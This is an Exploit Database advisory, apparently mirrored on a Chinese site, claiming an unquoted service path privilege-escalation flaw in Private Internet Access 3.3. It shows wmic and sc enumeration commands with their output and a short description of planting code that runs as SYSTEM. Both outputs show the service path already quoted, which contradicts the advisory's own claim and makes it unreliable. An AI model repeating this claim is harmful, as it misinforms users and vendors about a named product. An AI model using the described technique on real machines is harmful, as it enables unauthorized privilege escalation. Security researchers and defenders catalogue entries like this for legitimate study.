Private Internet Access 3.3 – ‘pia-service’ Unquoted Service Path

• Exploit Database
• 31 阅读

• 作者： Saud Alenazi
  日期： 2022-03-07
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/50804/

• # Exploit Title: Private Internet Access 3.3 - 'pia-service' Unquoted Service Path
  # Date: 04/03/2022
  # Exploit Author: Saud Alenazi
  # Vendor Homepage: https://www.privateinternetaccess.com
  # Software Link: https://www.privateinternetaccess.com/download
  # Version: 3.3.0.100
  # Tested: Windows 10 x64
  # Contact: https://twitter.com/dmaral3noz
  
  # Step to discover Unquoted Service Path:
  
  C:\Users\saudh>wmic service where 'name like "%PrivateInternetAccessService%"' get name, displayname, pathname, startmode, startname
  
  DisplayNameNamePathNameStartModeStartName
  Private Internet Access ServicePrivateInternetAccessService"C:\Program Files\Private Internet Access\pia-service.exe"Auto LocalSystem
  
  # Service info:
  
  C:\Users\saudh>sc qc PrivateInternetAccessService
  [SC] QueryServiceConfig SUCCESS
  
  SERVICE_NAME: PrivateInternetAccessService
  TYPE : 10WIN32_OWN_PROCESS
  START_TYPE : 2 AUTO_START
  ERROR_CONTROL: 1 NORMAL
  BINARY_PATH_NAME : "C:\Program Files\Private Internet Access\pia-service.exe"
  LOAD_ORDER_GROUP :
  TAG: 0
  DISPLAY_NAME : Private Internet Access Service
  DEPENDENCIES :
  SERVICE_START_NAME : LocalSystem
  
  
  #Exploit:
  
  A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.